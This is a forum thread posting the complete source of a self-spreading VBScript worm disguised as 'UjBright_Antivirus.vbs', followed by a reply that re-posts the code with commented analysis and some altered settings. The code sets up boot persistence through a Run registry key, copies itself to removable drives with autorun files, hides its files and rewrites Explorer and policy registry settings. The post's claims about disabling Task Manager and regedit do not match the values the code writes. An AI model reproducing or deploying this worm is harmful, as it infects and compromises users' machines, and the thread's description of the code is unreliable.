Simple VBS Virus Source Code...

make this files into: "UjBright_Antivirus.vbs"

Skills:

* it will spread via Removable drives or in any drives
* it will disable taskmanager, regedit, folder options, etc,.
* it hides itselfs so that the users will not see them.
* you will see the "Readme.txt" in your drives, it says:

Maaaring virus ito kung tawagin at makikita ng ibang ANTI-VIRUS, ngunit wag mag-alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa sa inyo." & vbCrLf & "Dahil ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong SCRIPTO na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & vbCrLf & " " & vbCrLf & "-A-D-V-E-R-T-I-S-I-N-G-" & vbCrLf & "EARLY ADVENT ADVERTISING - Tarpaulin nila ay durable matagal kumupas, tag-init man o tag-araw." & vbCrLf & "RB PHOTOART STUDIO - May kagandahan sa kulay ng inyong PICTURE at durable pa." & vbCrLf & "104.1 DXMA WOW FM - Pinakikinggang himpilan ng RADIO. Numero UNO sa Central Mindanao." & vbCrLf & " " & vbCrLf & "PARA SA GUSTONG MAGPA-ADVERTISE:" & vbCrLf & "JUST CONTACT ME: 09083223171 - UJBRIGHT

Code:


On Error Resume Next
Dim fso, wscr, tf, scrText, win, ax

Set fso = CreateObject("Scripting.FileSystemObject")
Set wscr = CreateObject("WScript.Shell")

win = fso.GetSpecialFolder(0)
tf = WScript.ScriptFullName
x = LCase(tf)

If Mid(x, 4) = "UjBright_Antivirus.vbs" Then
  wscr.Run "explorer.exe " & fso.Getfile(tf).Drive.Path
End If

Set myFile = fso.Getfile(tf).OpenAsTextStream(1)
Do Until myFile.AtEndOfStream
  scrText = scrText & myFile.ReadLine & vbCrLf
Loop

ax = fso.FileExists(win & "\UjBright_Antivirus.vbs")

Set myFile = fso.CreateTextFile(win & "\UjBright_Antivirus.vbs", true)
myFile.write scrText
myFile.close

Set fAttr = fso.Getfile(win & "\UjBright_Antivirus.vbs")
fAttr.Attributes=39

wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\UjBright_Antivirus.vbs"""

If ax = false Then wscr.Run "wscript.exe """ & win & "\UjBright_Antivirus.vbs"""

While (true)

  Set myDrives = fso.Drives
  For Each myFlashDrive In myDrives

      If myFlashDrive.Drivetype = 1 And myFlashDrive.Path <> "A:" Then

        If fso.FileExists(myFlashDrive.Path & "\Autorun.inf") Then
            Set fAttr = fso.Getfile(myFlashDrive.Path & "\Autorun.inf")
            fAttr.Attributes=32
            fso.Deletefile myFlashDrive.Path & "\Autorun.inf", true
        End If
     
        Set auFile = fso.CreateTextFile(myFlashDrive.Path & "\Autorun.inf", true)
        auFile.write "[autorun]" & vbCrLf & "open=\" & vbCrLf & "open=wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell\Open\Command=wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell\Open\Default=1"
        auFile.close

        Set auFile = fso.CreateTextFile(myFlashDrive.Path & "\README.txt", true)
        auFile.write "Hello FRIENDS:" & vbCrLf & "Maaaring virus ito kung tawagin at makikita ng ibang ANTI-VIRUS, ngunit wag mag-alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa sa inyo." & vbCrLf & "Dahil ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong SCRIPTO na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & vbCrLf & "  " & vbCrLf & "-A-D-V-E-R-T-I-S-I-N-G-" & vbCrLf & "EARLY ADVENT ADVERTISING - Tarpaulin nila ay durable matagal kumupas, tag-init man o tag-araw." & vbCrLf & "RB PHOTOART STUDIO - May kagandahan sa kulay ng inyong PICTURE at durable pa." & vbCrLf & "104.1 DXMA WOW FM - Pinakikinggang himpilan ng RADIO. Numero UNO sa Central Mindanao." & vbCrLf & "  " & vbCrLf & "PARA SA GUSTONG MAGPA-ADVERTISE:" & vbCrLf & "JUST CONTACT ME: 09083223171 - UJBRIGHT"
        auFile.close

        Set fAttr = fso.Getfile(myFlashDrive.Path & "\Autorun.inf")
        fAttr.Attributes=39

        Set myFile = fso.CreateTextFile(myFlashDrive.Path & "\UjBright_Antivirus.vbs", true)
        myFile.write scrText
        myFile.close

        Set fAttr = fso.Getfile(myFlashDrive.Path & "\UjBright_Antivirus.vbs")
        fAttr.Attributes=39

      End If

  Next

  With wscr
      .RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\UjBright_Antivirus.vbs"""
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 1, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 128, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"
  End With

  If tf <> win & "\UjBright_Antivirus.vbs" Then
      If fso.Getfile(tf).Drive.IsReady = false Then WScript.Quit
  End If

  WScript.Sleep 10000

Wend


Note: Use at your own Risk...

tsk3...script kiddie...hahaha

to all concerned coders:

make necessary remover for this if in case...hehehe

thanks bro spy..hehehe

analysis: (testing lang, if ever mali paki inform ako...hehehe la kasi enough time, work na kasi...hahaha)

Code:



On Error Resume Next '::resumes the execution even an error is occured
Dim fso, wscr, tf, scrText, win, ax ':: variable declaration

Set fso = CreateObject("scripting.FileSystemObject") '::sets the CreateObject method to fso variable
Set wscr = CreateObject("Wscript.Shell") '::same sa taas

win = fso.GetSpecialFolder(0)
tf = Wscript.scriptFullName
x = LCase(tf) '::turn the tf to lowercase

If Mid(x, 4) = "UjBright_Antivirus.vbs" Then
  wscr.Run "explorer.exe " & fso.Getfile(tf).Drive.Path
End If

Set myFile = fso.Getfile(tf).OpenAsTextStream(1)
Do Until myFile.AtEndOfStream
  scrText = scrText & myFile.ReadLine & vbCrLf
Loop

ax = fso.FileExists(win & "\UjBright_Antivirus.vbs")

Set myFile = fso.CreateTextFile(win & "\UjBright_Antivirus.vbs", true)
myFile.write scrText
myFile.close

Set fAttr = fso.Getfile(win & "\UjBright_Antivirus.vbs")
fAttr.Attributes=39

wscr.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\UjBright_Antivirus.vbs""" '::sets the startup

If ax = false Then wscr.Run "wscript.exe """ & win & "\UjBright_Antivirus.vbs"""

While (true)

  Set myDrives = fso.Drives
  For Each myFlashDrive In myDrives

      If myFlashDrive.Drivetype = 1 And myFlashDrive.Path <> "A:" Then ':: determine the open drives but not Drive A: (floppy)

        If fso.FileExists(myFlashDrive.Path & "\Autorun.inf") Then
            Set fAttr = fso.Getfile(myFlashDrive.Path & "\Autorun.inf")
            'fAttr.Attributes=32 :: this change the file attribute to "archive"
         fAttr.Attributes=0 ':: this change the file attribute to normal
            fso.Deletefile myFlashDrive.Path & "\Autorun.inf", true
        End If
   
        Set auFile = fso.CreateTextFile(myFlashDrive.Path & "\Autorun.inf", true) ':: routine to create autorun.inf
        auFile.write "[autorun]" & vbCrLf & "open=\" & vbCrLf & "open=wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell\Open\Command=wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell\Open\Default=1"
        auFile.close

        Set auFile = fso.CreateTextFile(myFlashDrive.Path & "\README.txt", true) ':: routine to create README.txt
        auFile.write "Hello FRIENDS:" & vbCrLf & "Maaaring virus ito kung tawagin at makikita ng ibang ANTI-VIRUS, ngunit wag mag-alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa sa inyo." & vbCrLf & "Dahil ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong scriptO na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & vbCrLf & "  " & vbCrLf & "-A-D-V-E-R-T-I-S-I-N-G-" & vbCrLf & "EARLY ADVENT ADVERTISING - Tarpaulin nila ay durable matagal kumupas, tag-init man o tag-araw." & vbCrLf & "RB PHOTOART STUDIO - May kagandahan sa kulay ng inyong PICTURE at durable pa." & vbCrLf & "104.1 DXMA WOW FM - Pinakikinggang himpilan ng RADIO. Numero UNO sa Central Mindanao." & vbCrLf & "  " & vbCrLf & "PARA SA GUSTONG MAGPA-ADVERTISE:" & vbCrLf & "JUST CONTACT ME: 09083223171 - UJBRIGHT"
        auFile.close

        Set fAttr = fso.Getfile(myFlashDrive.Path & "\Autorun.inf") ':: change the file attribute of autorun.inf
        'fAttr.Attributes=39 :: change the file attribute to system file, hidden, read only
      fAttr.Attributes=0 ':: will change the file attribute to normal
      
        Set myFile = fso.CreateTextFile(myFlashDrive.Path & "\UjBright_Antivirus.vbs", true) ':: writes the vbs file fo all open drives
        myFile.write scrText
        myFile.close

        Set fAttr = fso.Getfile(myFlashDrive.Path & "\UjBright_Antivirus.vbs")
        'fAttr.Attributes=39 :: change the file attribute to system file, hidden, read only
      fAttr.Attributes=0 ':: will change the file attribute to normal
      
      End If

  Next

  With wscr
      '.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\UjBright_Antivirus.vbs""" :: make the vbs file run on startup
      .RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\autoMe", "wscript.exe """ & win & "\UjBright_Antivirus.vbs""" ':: will delete the registry key
     '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD" :: will make the hidden files not visible (if tweaks has been made in folder options)
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD" ':: this will show the hidden files
     '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1, "REG_DWORD" :: this will hide the file extensions
     .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, "REG_DWORD" ' ::this will show all the file extensions
      '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 1, "REG_DWORD" ::dapat 0 ang value para false...hehehe di ko alam kung ano purpose nito..hehehe
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 1, "REG_DWORD" '::1 pa rin para shown ang hidden system files
     '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 0, "REG_DWORD" :: creates key sa policies\explorer section. diba dapat 1 para true to no folder options? di ko sure..hehehe
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 0, "REG_DWORD" ':: no folder options = false
     '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 128, "REG_DWORD" ::hex=0x80 decimal=128 Disables Autoplay on drives of unknown type.
     .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 255, "REG_DWORD" '::Disables Autoplay on all types of drives. this can prevent autorun
      '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD" ::diba dapat 1 para true? di ko pa rin sure..haha
      .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD" '::disableregistrytools = false
     '.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD" :: diba dapat 1 para true? hehehe
     .RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD" ':: enables the task manager
  End With

  If tf <> win & "\UjBright_Antivirus.vbs" Then
      If fso.Getfile(tf).Drive.IsReady = false Then Wscript.Quit
  End If

  Wscript.Sleep 10000

Wend